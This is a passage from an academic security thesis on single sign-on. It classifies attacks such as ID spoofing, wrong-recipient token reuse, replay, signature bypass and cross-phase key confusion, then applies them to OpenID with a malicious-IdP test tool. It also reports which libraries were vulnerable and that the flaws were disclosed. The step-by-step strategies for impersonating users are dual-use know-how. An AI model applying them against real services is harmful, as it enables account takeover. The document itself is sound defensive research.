managed by the malicious IdP (IdPA). The SSO token can also be signed using
the key of the malicious IdP. If this token is accepted by the SP, the attacker
can log in with an arbitrary identity using his malicious IdP – we have a Cat B
attack.
The IDS attack can be prevented by the SP. It must verify whether the

creator of the SSO token – the malicious IdP in the case above – is allowed to
issue tokens for the claimed identity information. For this purpose, the SP can
verify whether the key used to verify the SSO token belongs to the IdP that is
responsible for the identity.
We successfully adapted the IDS attack to OpenID (cf. Section 3.7.2.1) and

OpenID Connect (cf. Section 3.8.2.1). Other research groups have shown how
to adapt IDS to BrowserId [62] and SAML [23].

3.5.2 Single-Phase Attack: Wrong Recipient (Cat A)

Wrong Recipient attacks are targeting the parameters in an SSO token that
define the recipient SP. The idea of this attack is that the attacker gets in
possession of an SSO token intended to be used for one SP, but it reuses it
at another one. To collect tokens from different users, the attacker can, for
example, setup a malicious SP (“Log in to win a free iPhone”). All these SSO
tokens have the recipient information of the malicious SP, but the attacker
nevertheless redeems them on another SP to get unauthorized access to different
accounts.
The feasibility of this attack relies on the fact that an IdP is used by multiple

SPs and the IdP creates tokens for all of them. Each created SSO token must
only be allowed to be used on the SPs specified therein, but this must be verified
by the SP. If the SP misses this verification step, Wrong Recipient attacks are
possible. Since victim interaction is required – the victim must first log in to
the malicious SP – the Wrong Recipient attacks belong to Cat A.
In this thesis, we show adapted Wrong Recipient attacks to OpenID (cf.

Section 3.7.2.2), OpenID Connect (cf. Section 3.8.2.2), and SAML (cf. Sec-
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tion 3.9.3.2).

3.5.3 Single-Phase Attack: Replay (Cat A)

Replay attacks are targeting the parameters in an SSO token that represent its
freshness (timestamps, nonces). There are different variants of Replay attacks,
but in all of them the attacker needs access to an SSO token. A common scenario
for Replay attacks are former employees who stored their tokens. The attacker
then sends the SSO token again to the SP in order to authenticate although the
token is expired. If the SP does not verify the freshness of the token correctly,
the attacker gets access to the SP for an unlimited period. Some Replay attack
variants allow reusing old and expired tokens, while other allow to reuse the
same token only in a specific time slot.
Replay attacks belong to Cat A and have been applied to various SSO proto-

cols, for example, OpenID [217], Facebook Connect [246], and SAML [214]. In
this thesis, we have also used Replay attacks on SAML (cf. Section 3.9.3.1).

3.5.4 Single-Phase Attack: Signature Bypass (Cat B)

Signature Bypass attacks are targeting cryptography information of the SSO
token that are used for protecting its integrity and authenticity or at least
parts of it.8 The Signature Bypass attacks belong to Cat B and circumvent the
integrity protection. They therefore allow modifying arbitrary content of the
SSO token, including identity, recipient, and freshness information. Due to this
reason, all previously described Single-Phase Attacks can be easily executed if
a Signature Bypass exists.
We distinguish between three different kinds of Signature Bypass attacks:

(1.) The cryptography information can completely be removed. This variant
is commonly known as Signature Exclusion attack and we applied it to
SAML (cf. Section 3.9.3.4) and OpenID Connect (cf. Section 3.8.2.4).

(2.) The SP uses the wrong key for the cryptographic operation. This basically
means that the SP can be misled to trust a key generated by the attacker.
We applied this variant to SAML (cf. Section 3.9.3.5) and OpenID (cf.
Sections 3.7.2.3 and 3.7.3.1).

(3.) The content of the SSO token or at least parts of it can be changed without
invalidating the token’s signature. It has been successfully applied to
Facebook Connect [246] and OpenID [238].

Signature Bypass attacks can be prevented as follows:

§ The SP must blacklist insecure (i.e., weak or broken) cryptographic algo-
rithms.

§ The SP must verify the origin of the key material that it is using.
8In SAML, e.g., the <Assertion> is protected by an XML Signature but in most cases the
XML root element <Response> remains unprotected.
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§ The SP must ensure to use only parameters for the authentication, which
are protected by the signature.

3.5.5 Single-Phase Attack: Parsing (Cat B)

Most parameters relevant for the End-User authentication are contained within
the SSO token. A structure-preserving format, for example, XML, can be used
for storing and transferring the parameters. For accessing them, the SP must
parse the token. This leads to parsing attacks similar to the parsing attacks on
web services (cf. Section 2.1).
Parsing attacks heavily depend on the language used to describe the SSO

token. We applied them to SAML (cf. Sections 3.9.3.6 and 3.9.3.7) and to
OpenID (cf. Section 3.7.6.3) resulting in a Cat B attack, but the concept of
this attack can be adapted to other message formats as well, for example, JSON
(using JSLT [2], JSON Include [68, 183], or JSON Schema [101]).
There is unfortunately no generic concept to prevent parsing attacks. The

main countermeasure that we have learned in this thesis is to disable parsing
features that are not used at all (e.g., DTD).

3.5.6 Summary

By systematically analyzing SSO protocols, we could classify different categories
of attacks. They manipulate a single category of information of an SSO token
(identity, recipient, freshness, cryptography) or influence its parsing process, for
example, by adding meta information for the parser (DTD). The attacks take
place in the Token Generation Phase and are thus classified as Single-Phase
Attacks.

3.6 Cross-Phase Attacks

To conduct a Single-Phase Attack, only one single message in one phase of
the protocol must be manipulated by the attacker and the vulnerability takes
place in the same protocol phase. We here present our second attack category:
Cross-Phase Attacks.

User UA SP (honest/malicious) IdP

Phase 1: Trust Establishment

Phase 2: Token Generation

Phase 3: Token Redemption

Figure 3.4: An SSO protocol consists of three phases. Cross-Phase Attacks
manipulate parameters in one phase to influence important verification steps in
another phase.
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The three phases of an SSO protocol are depicted in Figure 3.4. Each phase
can consist of several messages exchanged between the participating entities.
The general idea of Cross-Phase Attacks is to abuse a missing binding between
two or more protocol phases. This enables by far more complex attacks, which
manipulate messages in one phase in order to bypass a verification step in an-
other phase. Because Cross-Phase Attacks highly depend on the concrete SSO
protocol structure, we only sketch the idea below. Concrete Cross-Phase At-
tacks are described in Section 3.7.3 (OpenID ), Section 3.8.3 (OpenID Connect),
and Section 3.9.4 (SAML).

3.6.1 Phase 1 ñ Phase 2 Cross-Phase Attacks

In the following, we use a toy example of a Cross-Phase Attack between Phase
1 and Phase 2.
In the first Phase, a trust relationship between an SP and a malicious IdP is

established, for example, by creating key (common secret) using Diffie-Hellman
key exchange. In the second Phase, the malicious IdP creates the SSO token.
But in this case, the malicious IdP includes the identity of another honest IdP
in the token (e.g., Google) instead of its own identity. It then creates an HMAC
over this token by using the previously established key. Once the SP receives
the token, it believes that it was created by Google, but it verifies the HMAC
using the key established with the malicious IdP.
This attack is possible if there is no binding between Phase 1 and Phase 2.

In the case described above, the SP does not bind the key to the identity of the
IdP in Phase 1 and allows to bypass the verification step in Phase 2. We could
successfully adapt this attack to OpenID as shown in Section 3.7.3.1.

3.6.2 Phase 1 ñ Phase 3 Cross-Phase Attacks

If the SSO protocol supports Phase 3, a toy example for a Cross-Phase Attack
abusing the binding between Phase 1 and Phase 3 looks as follows:
During the Trust Establishment Phase between the SP and the IdP, the SP

needs to find out to which URL it has to connect in Phases 2 and 3. These
URLs are requested during Phase 1 and the SP stores it. The malicious IdP
can start the following Cross-Phase Attack in Phase 1:

(1.) For the Phase 2 URL, it delivers a URL to an honest IdP, for example, to
Google.

(2.) For the Phase 3 URL, it delivers a URL to itself (to the malicious IdP).

A victim involved in this flow will be redirected to Google in Phase 2. Google
creates the SSO token. Once the SP receives the token, it will send it to the
Phase 3 URL. Because this URL points the malicious IdP, the SSO token is
stolen in Phase 3. This concept shows how a manipulation in Phase 1 influences
the token verification step in Phase 3.
We could successfully adapt this attack to OpenID Connect and broke the

current specification with this attack (cf. Section 3.8.3.2 for more details).
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3.6.3 Phase 2 ñ Phase 3 Cross-Phase Attacks

Cross-Phase Attacks are also possible if a binding between Phases 2 and 3 is
missing, but we do not go into detail here. The interested reader can see an
example for this Cross-Phase Attack on OpenID Connect in Section 3.8.3.1.

3.6.4 Summary

We were the first describing Cross-Phase Attacks. In this section, we elucidated
the general underlying concept and showed, how one phase of an SSO protocol
can influence another one. The main underlying issue in Cross-Phase Attacks
is the missing binding between two or more SSO phases. Because Cross-Phase
Attacks highly depend on the concrete protocol messages and the parameters
contained therein, we refer to the following section where we show how to adapt
Cross-Phase Attacks to SAML, OpenID, and OpenID Connect.

3.7 OpenID

In this section, we give a detailed technical background of OpenID [221] and
show novel attacks we categorized into Single-Phase Attacks and Cross-Phase
Attacks. We then applied the SSO Attacker Paradigm. By using malicious IdPs
to evaluate the security of 17 implementations, we found 12 of them vulnerable,
including Sourceforge, Drupal, ownCloud and JIRA. In addition, we show the
feasibility of the malicious IdP in real-life scenarios and tested 70 online websites.
Amongst them, 26% were vulnerable.
The presented results are based on our paper “Do not trust me: Using mali-

cious IdPs for analyzing and attacking Single Sign-On” [132].

3.7.1 Technical Background

For a better understanding of the attacks on OpenID, we give a detailed de-
scription of the OpenID protocol flow below. Readers familiar with this SSO
protocol should read the notation part and can safely skip this section.

3.7.1.1 Notation for OpenID Tokens

We use the notation depicted in Table 3.3 for describing an SSO token in
OpenID. A token t contains at least the parameters URL.ID, URL.IdP and
URL.SP . Tokens used for attacks are denoted with (t˚). We use indexes to in-
dicate the entity to which a parameter belongs, for instance, the URL of the ma-
licious IdP (the one that is controlled by the attacker) is URL.IdPA. This is an
abbreviated syntax for URL.IdP “ http://badidp.org. In contrast, the URL
of the victim’s IdP is, for example, URL.IdP “ http://idp1.com“ URL.IdPV .
If we do not describe an attack, for instance, we do not have an attacker or a
victim, we use the index U to represent that a parameter belongs to a specific
End-User (e.g., URL.IdPU ).
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Notation Explanation HTTP GET Parameter
URL.ID A URL representing the End-User’s

login name.
Example: http://idp1.com/alice

openid.claimed_id

URL.IdP The URL of the user’s IdP.
Example: http://idp1.com

openid.op_endpoint

URL.SP The URL of the SP.
Example: http://sp1.net

openid.return_to

σ The signature value for token t. openid.sig
α Name of the key to verify pt, σq.

Note: α is a reference to the key and
does not contain any key material.

openid.assoc_handle

Table 3.3: Notations used for OpenID parameters in this section and their names
according to the OpenID specification [221].

User UA SP ID Server IdPU

(1.) Login Request: URL.IDU
(2.) Discovery: lookup URL.IDU

(3.) URL.IdPU

(4.) Optional: Association α
(5.) URL.IdPU ,URL.SP [, α]

(6.) Redirect to URL.IdPU → URL.SP [, α]

(7.) Optional: Login to IdPU with identity URL.IDU if not yet authenticated

(8.) Token t = (URL.IDU ,URL.IdPU ,URL.SP, α), protected by signature σ Create assoc = α
if not existing(9.) Redirect to URL.SP → t, σ

(10.) Optional: Rediscovery URL.IDU

(11.) URL.IdPU

Association established?

verify

yes

send

no

(12.) Check authentication: t, σ

(13.) Success?
Verify:
t, σ

(14.) Success?

Phase 1:
Trust Establishment

Phase 2:
Token Generation

Phase 3:
Token Redemption

Figure 3.5: The OpenID protocol flow.

3.7.1.2 Protocol

The three phases of SSO (cf. Section 3.1.1) mapped to OpenID and their parti-
cular protocol messages are depicted in Figure 3.5. The OpenID login process is
started with the End-User submitting his identity URL.IDU to the SP in Step 1.

Phase 1: Trust Establishment. In this phase, the SP discovers information
about the End-User’s requested identity (URL.IDU ) and determines the IdP to
be used (URL.IdPU ). Optionally, the SP and the IdP establish an Association,
which is basically a shared secret between them.

(2.) The SP starts the Discovery by requesting the document at URL.IDU .

(3.) The ID Server returns a document containing URL.IdPU , which is a
special property of OpenID: the ID Server can be an independent server
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and is not necessarily the IdP.

(4.) Using URL.IdPU , the SP can establish an Association with the IdP. This
is basically a Diffie-Hellman key exchange to establish a shared secret s.
Additionally, the IdP freely chooses a string α that is used as a name for
the Association. It is used to reference the key material k derived from s
on both sides, and has an expiration time.

Phase 2: Token Generation. This phase includes the creation of the SSO
token by the IdP, its transport to the SP via End-User’s user agent, and its
verification by SP.

(5.) The SP now has all necessary information to validate an OpenID token
created by IdPU . It responds to Step 1 with a Token Request containing
URL.IdPU , URL.SP and – if previously established – α.

(6.) The End-User is redirected to URL.IdPU .

(7.) If the End-User is not yet logged in, he must authenticate to IdPU .

(8.) IdPU creates an SSO token t containing the End-User’s identity URL.IDU ,
its own URL address URL.IdPU and URL.SP . IdPU then generates a
signature σ for t using the key referenced by α.

(9.) The Token Response is forwarded to the SP.

(10.)-(11.) The SP can optionally start a second Discovery (Rediscovery), for
example, if it has not cached Steps 2-3.

Phase 3: Token Redemption. The Association in Step 4 is optional. If it is
omitted, the Token Redemption Phase is executed and the SP sends the SSO
token to the IdP for a direct verification.

(12.) If the communication in Step 4 is missing, the Token Request does not
contain α, and no shared secret was established with IdPU . In this case,
the IdP generates a fresh key and signs the token with it. The SP is then
not able to verify the token itself. Instead, it must send it directly to the
IdP in Step 12.

(13.) The SP receives the result of the verification from the IdP.

If the token is valid, the SP will map URL.IDU to a local identity and the
End-User is authenticated in Step 14.

3.7.1.3 Discovery in Detail

To receive URL.IdPU in Step 3, the SP fetches the document at URL.IDU (e.g.,
http://myserver.org). This can be either an HTML or an XRDS document.
Listing 3.1 shows a minimal HTML document.
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Listing 3.1: Minimal HTML discovery document.

<html><head><title/>
<link rel="openid2.provider"

href="https :// myidp.com/" />
</head><body/></html>

The element <link/> contains URL.IdPU within the href attribute. XRDS
documents contain the same information, but stored in XML data format.
Note that Step 5 of the protocol does not contain URL.IDU . This is not

necessary since the End-User must authenticate to IdPU . Consequently, IdPU
knows the value of URL.IDU . However, the discovered document in Step 3
allows optionally to include a second “local” identity URL.IDU˚ (the value of
the href attribute in Listing 3.2):

Listing 3.2: U ’s identity stored in an HTML document.

<link rel="openid2.local_id"
href="https :// myidp.com/bob" />

In this case, Steps 5-6 include this value as well and IdPU is asked to use
URL.IDU˚. This is useful, for example, if the End-User owns multiple IDs at
its IdP.

3.7.2 Single-Phase Attacks on OpenID

In the following, we present novel Single-Phase Attacks on OpenID. All attacks
can be applied in the SSO Attacker Paradigm. Please note that we here show
how to apply the generic concept of the corresponding attack as described in
Section 3.5 to OpenID. We thus skip to describe the general attack concept
again for reasons of clarity.

3.7.2.1 ID Spoofing (Cat B)

With ID Spoofing (IDS), we introduce a novel class of attacks tricking the target
SP into authenticating the attacker as the victim and granting him access to the
victim’s resources (Cat B). OpenID was the first SSO protocol that we found
applicable for IDS and we later adapted the concept to OpenID Connect.
We show three different strategies for IDS on OpenID. All of them take place

in Phase 2 of the protocol.
Strategy 1. IDS in the token. The core idea of the first strategy is to let the
malicious IdP create a token t˚ containing URL.IDV (instead of URL.IDA). The
token is signed with a key controlled by the malicious IdP and sent to the target
SP. The attack is successful if the SP accepts t˚. Considering the simplicity of
this attack, it is surprising that it has not been described before.
According to the OpenID specification [221, Section 11.2], an SP should start

a second Discovery (Rediscovery) on the identity URL.IDV on validating t˚. In
this manner, the SP can discover whether URL.IDV belongs to the IdP contained
in t˚, for instance, to IdPA. If this step is not implemented properly, an attacker
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can mount this Cat B attack and is able to inject arbitrary identities, which are
not controlled by his malicious IdP. The attacker can thus impersonate users
with different, trustworthy IdPs, for example, PayPal or Yahoo, by using only
his own IdPA.
Strategy 2. IDS via Email. The core idea of this strategy is to use additional
identity information that may be contained in the token for an IDS attack.
This can be information such as the End-User’s first name, last name, email,
and inter alia gender.
This data is mostly used by the SPs during the registration process of new

users to automatically fill out some required text fields. It must not be used for
the authentication since OpenID does not provide any mechanisms to verify the
correctness/ownership of these statements. For instance, an attacker using a
malicious IdP can issue tokens containing arbitrary email addresses like admin@
gmail.com. The attacker therefore uses his malicious IdP and issues a token
containing his OpenID identity (URL.IDA) and, in addition, the victim’s email
address. Afterwards, the token will be sent to the SP. Since the token is valid,
the verification is successful and the SP uses the victim’s email address (instead
of URL.IDA) to authenticate the user. As a result, the attacker gets access to
any account on the SP (Cat B).
Please note that this attack differs from the attack described by Wang et al.

[238] since the attacker does not manipulate the authentication request and all
required parameters are signed within the authentication token. The attack
presented by Wang et al. belongs to the category of Signature Bypass attacks.
Strategy 3. IDS during Rediscovery. The ID Server in OpenID’s discovery
commonly returns the URL of the IdP that is going to be used (e.g., URL.IdP “
http://idp1.com “ URL.IdPU ). Besides returning URL.IdPU , OpenID has
a feature to optionally return a second “local” URL.ID2

U in addition.9 This
value is transmitted during the Discovery and is not part of the SSO token.
In this IDS strategy, URL.ID2

U is set to URL.ID2 “ http://idp1.com/alice
“ URL.IDV . Later on, the malicious IdP generates a token t˚ containing the
attacker’s identity (URL.IDA) and sends it to the SP.
Once the SP receives the token, it starts the Rediscovery on URL.IDA to de-

termine the URL of the IdP. But this time, the malicious IdP returns URL.ID2 “

URL.IDV (in addition to URL.IdPA). If the SP uses the URL.ID2 parameter to
determine the identity of the End-User, the attacker is successfully logged in as
the victim (Cat B). A detailed description is given by the example of ownCloud
in Section 3.7.6.1.

3.7.2.2 Wrong Recipient (Cat A)

We were the first to adapt a Wrong Recipient attack to OpenID. The attack is
depicted in Figure 3.6 and targets a missing URL.SP parameter verification on
the SP. Since Wrong Recipient attacks require an interaction by the victim, the
attack can compromise only the account of this particular victim and is classified

9This parameter is originally intended to determine End-User’s concrete identity on its IdP,
e.g., if he owns several ones on it.
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as Cat A. Note that using our malicious IdP, we can detect the vulnerability
easily. However, the attack exploit does not require a malicious IdP.

Detection. By using the malicious IdP, the attacker generates a token con-
taining identity URL.IDA. Additionally, he sets the value of URL.SP to an
arbitrary URL (different from the URL of the target SP) and sends the SSO
token to the target SP. Finally, he observes the behavior of the target SP: if
the SP accepts the token, then the value of URL.SP is not validated, and the
Wrong Recipient attack is applicable.

Exploit. In order to exploit the vulnerability, the attacker A sets up a web
application running on URL.A (e.g., a weather forecast service), to initiate an
OpenID authentication and to collect authentication tokens.

SPA Victim UA IdPV SP

(1.) GET URL.A

(2.) Token Request

(3.) Authentication

(4.) t = (. . . ,URL.SP = URL.A, . . .), σ

Attacker

download t

(5.) t = (. . . ,URL.SP = URL.A, . . .), σ

(6.) Success

Figure 3.6: Wrong Recipient Attack.

The exact protocol flow is shown in Figure 3.6:

(1.) The victim accesses the web application deployed on URL.A.

(2.) The attacker creates a Token Request containing URL.SP “ URL.A.

(3.) The victim authenticates to its IdP. Please note that the IdP is not con-
trolled by the attacker. This step can be skipped and transparent to the
victim if he is already authenticated.

(4.) The IdP generates the token t and sends it back to CV , with a redirect
to URL.SP “ URL.A. The client’s user agent executes this redirect, and
thus sends the token to A.

(5.) Finally, CA downloads the collected token t from SPA and uses it to log
in to the target SP.

To mitigate the Wrong Recipient threat, the SP must verify whether the
URL.SP parameter contained in t matches its own URL.
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3.7.2.3 Signature Bypass: Key Confusion (Cat B)

Key Confusion (KC) is a novel attack on OpenID belonging to the class of
Signature Bypass attacks. The attack confuses the target SP so that it uses a
key of the attacker’s choice for the verification of tokens. The enforced key is
a legitimate key that is shared between the target SP and the malicious IdP.
During the KC attack, the SP is convinced that the key belongs to the victim’s
(instead of the attacker’s) IdP. No victim interaction is required, and thus, all
accounts on a vulnerable target can be compromised (Cat B).
The main problem in OpenID is that the SP uses the Association α in order

to load the key. KC targets the Association handle and introduces strategies
how to enforce the usage of wrong keys.
To execute KC successfully the attacker may follow different strategies. We

here only describe two of them because the third one manipulates messages
across phases and is thus described in Section 3.7.3 (Cross-Phase Attacks).

Strategy 1. Overwriting the secret key handle of a trusted IdP. In OpenID,
the key material is referenced by the Association handle parameter α. Since the
value of α is chosen by the IdP (and not by the SP), the attacker (acting as a
malicious IdP) is able to set α to the same value as defined by the valid IdP in
order to overwrite it with its own key values. The attacker can get to know the
original α by starting an attempt to log in as the victim on the target SP.

Strategy 2. Submitting the attacker’s own key handle for signature verification.
The Association α is also part of the signed token t˚. Thus, some SP implemen-
tations are tempted to use this value to verify the signature. The fact that the
token can be issued by a malicious IdP clearly shows that this leads to a critical
vulnerability: suppose that the SP and the victim’s IdP share a secret identified
by α. In addition, the SP and the malicious IdP share a secret identified by β.
If the malicious IdP issues the token t˚ “ pURL.IDV ,URL.IdPV ,URL.SP, βq,
and the target SP accepts this token, it is vulnerable to KC.

3.7.3 Cross-Phase Attacks on OpenID

By applying the SSO Attacker Paradigm, we have discovered one Cross-Phase
Attack on OpenID, which is described below. This attack is the by far the most
complex one that has been found on OpenID.

3.7.3.1 Signature Bypass: Key Confusion (Cat B)

In addition to Strategies 1 and 2 of the KC attack, we have identified a fur-
ther strategy. This variant is more complex than the previous strategies and
manipulates messages beyond a single protocol phase.

Strategy 3. Session overwriting. According to the OpenID specification [221,
Section 11.2], an SP should verify that the discovered information (URL.ID
and URL.IdP ) matches the presented content in the received token. If the SP
provides this check, KC Strategy 2 fails because the discovered IdP (IdPA) does
not match the IdP within the authentication token (IdPV).
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Unfortunately, this check does not include a verification that the key used to
sign the token belongs to the discovered IdP. This allows again to bypass the
verification logic: if the attacker can overwrite the discovered information with
the values of IdPV before the authentication token is received and the SP uses
the key identified by β, the attack is successful.
Commonly, web applications use a session variable to store user information

used across multiple pages (e.g., username, favorite color). In OpenID, the
discovered information can be stored in a session variable. By starting a second
Discovery on IdPA, the attacker can consequently change it. The SP overwrites
the old discovered information with the new one.
Given the complexity of the attack, we give detailed example and explanation

in Section 3.7.6.2.

3.7.4 Implementing a Malicious IdP: OpenID Attacker

We developed OpenID Attacker as a proof-of-concept implementation of a ma-
licious IdP. OpenID Attacker is an open source penetration test tool [131] that
acts as an OpenID IdP and offers a Graphical User Interface (GUI) for easy
configuration, see Figure 3.7.

Figure 3.7: OpenID Attacker supports fully automated analysis. To use it, one
has first to configure the victim’s and the attacker’s accounts, and then select
the attacks to be executed.

It is able to operate during all three phases of the OpenID SSO protocol.
The main advantage of OpenID Attacker is its flexibility: the attacks can be
conducted manually or full automatically. As shown in Figure 3.8, OpenID
Attacker works in three modes: (1.) Analysis, (2.) Manual Attack, and (3.) Fully-
Automatic Attack.
Configuration. Since OpenID Attacker acts as a malicious IdP, it should be
reachable on the Internet. In this manner, the target SP can discover OpenID
Attacker, establish the keys and later on verify the token. OpenID Attacker

100



3.7 OpenID

Manipulate Arbitrary Message

Create Malicious Token

Observe Result

Load Attack Class

Execute Attack
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Store Result

OpenID Version

Required Messages

Required Parameters
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Manual Attack Mode Fully Automatic Attack Mode
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Figure 3.8: The three modes of OpenID Attacker.

enables the fine granular configuration of every protocol phase. For instance,
OpenID Attacker can set up arbitrary HTML/XRDS discovery documents, ma-
nipulate Association handle values, and create OpenID tokens containing any
data.
Analysis Mode. In this mode OpenID Attacker is used to analyze the normal
behavior of the target SP. For this purpose, OpenID Attacker acts as an honest
IdP and creates valid tokens. Note that no attacks are executed, but only
information about the target SP is collected. Additionally, no configuration of
the target SP is necessary.
Initially, we navigate our user agent to the target SP and initiate the lo-

gin with our IdP (URL.IdPA). The SP communicates with our IdP and exe-
cutes the Discovery and Association. OpenID Attacker stores all information
exchanged with the SP and collects data about the supported features, for ex-
ample, OpenID version and HTML or/and XRDS discovery. Moreover, in the
Token Generation Phase OpenID Attacker collects and stores information about
the exact messages flow, optional messages, schema of messages, required/op-
tional attributes and more. Thus we – in the role of a security analyst – have
a very detailed overview of the implementation, the information flow and all
supported features.
Manual Attack Mode. In this mode, OpenID Attacker acts as a malicious
IdP hand-operated by the attacker. We can start the security analysis on the
basis of the information stored in Analysis Mode, manipulate parameters in each
message, thereby create malicious tokens, and then observe the results when
sending them to the targeted SP. In this mode, the attacks and the evaluation
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of the attacks are carried out manually.
The Manual Mode is based on the idea to inspect new attack vectors. This is

an important fact because the Manual Mode allows investigating the OpenID
protocol very deeply and fine granular by enabling the manipulation of every
aspect of the protocol. In combination with a running SP implementation in
debugging mode, this mode helps to understand the source code of the SP, to
find implementation, as well as protocol issues. We used this mode to discover
the IDS, KC, and Wrong Recipient attacks during a white-box analysis.
Fully-Automatic Attack Mode. In this mode, OpenID Attacker acts as
a fully automated malicious IdP penetration test tool. OpenID Attacker is
reachable with two different domains (URL.IdPV and URL.IdPA) so that we
can simulate the entire communication with a victim’s benign IdP (IdPV) and
the attacker’s malicious IdP (IdPA). The execution of the fully automated

Figure 3.9: The Fully-Automatic Attack Mode outputs a security report. More
details can be seen in the log.

testing consists of two parts: (1.) training and (2.) attack execution.
(1.) Training. In this mode, OpenID Attacker is used to analyze the normal
behavior of the target SP and uses the same concept as for the Analysis Mode.
For this purpose, OpenID Attacker acts as benign IdP and creates valid tokens
both in the role of URL.IdPV and URL.IdPA.
For the correct evaluation of the tested attacks it is essential for OpenID

Attacker that it can: (1.) determine if the login was successful (e.g., no errors
were thrown) and (2.) determine in which account it was logged in – the victim’s
or the attacker’s one. Only access to the victim’s account is considered as a
successful attack. Thus, there are three main categories according the status of
the tested attack: authenticated as the attacker, authenticated as the victim,
error.
OpenID Attacker has to be “trained” in order to make a difference between

the different results and to classify them into one of the three categories. For
that purpose, multiple successful authentication procedures with URL.IdPV
will be executed initially. Then invalid messages will be sent to the target
SP in order to trigger error messages. Consequentially, the same procedure is
repeated with URL.IdPA. During the entire communication in the training,
OpenID Attacker records the messages plus the SP’s reaction and categorizes
them. Finally, OpenID Attacker knows the behavior of the SP and can proceed
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with the execution of the attacks.
In order to automate the entire training and login process, we use Sele-

nium [200]. Selenium enables the fully automated usage of a user agent, for
example, Firefox. Thus, it can start the browser, call the URL of the target
SP, fill out some input fields on the loaded web page, for example, the openid
identity, and trigger click events in order to submit the entered data and initi-
ate the OpenID authentication on the target SP. As a result, the authentication
can be automated. Note that it is sufficient to enter the login URL in OpenID
Attacker. Finding the OpenID login form is also performed automatically.
(2.) Attack execution. OpenID Attacker loads training results and then
sequentially executes the Single-Phase Attacks and Cross-Phase Attacks. Then
OpenID Attacker analyzes the results in comparison to the training set by us-
ing the simmetrics [200] string comparison library. This allows OpenID At-
tacker to decide, whether a) the login was successful, and b) with which account
(URL.IDA or URL.IDV) the attacker is logged in.
In conclusion, OpenID Attacker summarizes the results of all evaluated at-

tacks and creates a security report, which can be exported as a HTML document
(cf. Figure 3.9).

3.7.5 Evaluation Methodology

Target SPs. We selected 15 open source implementations, including libraries
and frameworks that support OpenID, mainly taken from the official OpenID
website [226]10. We tried to cover every available language: our list contains im-
plementations in .NET, C++, ColdFusion, Java, JavaScript, Perl, PHP, Python,
and Ruby. In addition, we added Drupal to the target list since it is a widely
used content-management system (CMS) and has a custom implementation of
OpenID. The only implementation that did not permit a white-box analysis is
Sourceforge [43]. We included it because it is a very prominent site supporting
OpenID and because it does not use one of the inspected implementations listed
on [226].
Setup. For each implementation, we created a working virtual web server/vir-
tual CMS server, and deployed the framework in it. For Sourceforge, we used
the live website.
We registered two accounts on each target as SP. As victim V, we used an

account at a trusted IdP to register a local account on the target SP. Using a
second user agent on a different PC we registered a second account for A at
the target SP, associated with an account on our custom malicious IdP – the
OpenID Attacker account.
In this step, the second account was mainly used to verify that the OpenID

Attacker IdP is working flawlessly and that the target is able to verify valid
tokens created by our tool.
White-Box Tests using OpenID Attacker. We used white-box tests to
10Note that some of the libraries are listed multiple times, for example, libopkele is the

module used in Apache mod_auth_openid, the listed Python Django OpenID framework
uses janrain etc.
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analyze the source code and the protocol flow of each target. OpenID Attacker,
running in analysis and manual attack mode, was used in order to get a better
understanding of SP’s OpenID implementation. This allowed us to develop and
apply the concepts for Single-Phase Attacks (cf. Section 3.7.2) and Cross-Phase
Attacks (cf. Section 3.7.3)

Black-Box Tests using OpenID Attacker. Black-Box testing is more com-
plicated than white-box testing since only the result of the attack is visible, but
not the reasons for this result. One way to better understand the implementa-
tion is to record the messages in the different phases. Consequently, via OpenID
Attacker, the parameters within the different phases can be varied in order to
learn which of them are processed by the SP. A simple example of such a test
is to exclude the signature within the token and observe the reaction of the SP.

Exploit. Finally, we performed the attacks in the web attacker model. Note
that for Cat B attacks like IDS and KC, no interaction with the victim is neces-
sary – if the exploit works, we could log in to the SP with an arbitrary identity.
Only for Wrong Recipient attacks (Cat A), it is necessary that victim V visits
a web page SPA hosted by the attacker A. In our setting, V is already au-
thenticated to the trusted IdP (stored in a session cookie), so that no explicit
authentication of V is necessary. We verified that the token t has indeed been
transferred to SPA, and that we could use this token from our second user agent
to gain access to the target SP .
For the IDS attack, we only needed to know the identity of V. We verified

that the target SP is either vulnerable for strategy 1 or strategy 3. Strategy 2
(email) is skipped for library evaluations because this attack only makes sense
for online websites. In each case, we are logged in with the identity V.
To verify KC attacks, we have applied all strategies. For following the first

strategy, the precondition that an association α exists between the target SP
and the trusted IdP must be fulfilled. We can get the value of α in message (4.)
of Figure 3.5 when we try to log in with the victim’s identity. This attempt will
not succeed, but we can see message (4.) nonetheless.
We then established a new Association between the target SP and OpenID

Attacker using the same α and analyzed whether the target SP afterwards ac-
cepted our malicious tokens as valid for V. For the second strategy, only an
Association β between the target SP and the malicious IdP is necessary. We
verified that the SP accepted tokens containing pURL.IDV ,URL.IdPVq that
were signed with the malicious association β.

3.7.6 Library Evaluation

We reported all vulnerabilities to the liable security teams and to the Com-
puter Emergency Response Team (CERT). In case we got a response from the
developers, the time to fix the reported issues ranged between a few days and
several months. Furthermore, we supported the developer teams during fixing
the reported issues.
Our results are summarized in Table 3.4: for 12 out of 17 targets, we were

able to access a protected resource. On ten of the twelve targets, an attacker can
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Service Provider Programming
Language

ID
Spoofing
Cat B

Key
Confusion

Cat B

Wrong
Recipient

Cat A

Summary

CF OpenID ColdFusion Vuln.› X Vuln. Vuln.›

DotNet OpenAuth ṄET X X X X
Drupal 6 / Drupal 7 PHP X Vuln.› X Vuln.›
dyuproject Java Vuln.› X Vuln. Vuln.›
janrain PHP, Python,

Ruby
X X X X

JIRA OpenID Plugin Java Vuln.› X X Vuln.›
JOID Java Vuln.› X Vuln. Vuln.›
JOpenID Java Vuln.› X X Vuln.›
libopkele (Apache
mod_auth_openid)

C++ X X X X

LightOpenID PHP X X X X
Net::OpenID::Consumer Perl X X Vuln. Vuln.
OpenID 4 Java
(WSO2 )

Java X X X X

OpenID CFC ColdFusion Vuln.› X X Vuln.›
OpenID for Node.js
(everyauth, Passport)

JavaScript/N-
odeJS

X X Vuln. Vuln.

Simple OpenID PHP
Class (ownCloud 5 )

PHP Vuln.› X Vuln. Vuln.›

Sourceforge n.a. Vuln.› Vuln.› X Vuln.›
Zend Framework
(OpenID Component)

PHP X Vuln.› X Vuln.›

Total 8/17 3/17 6/17 12/17

Table 3.4: Practical evaluation results: unauthorized access to 12 out of 17 tar-
gets. We compromised 2 targets using the web attacker model (Vuln. “ Cat A).
The other 10 targets make use of a weaker variant, making them vulnerable
without any user interaction (Vuln.› “ Cat B). Tested attacks without success
are marked with “X”.

compromise all of the accounts, without any user interaction. On the other two
targets, the account of any victim can be compromised if he visits a malicious
website.

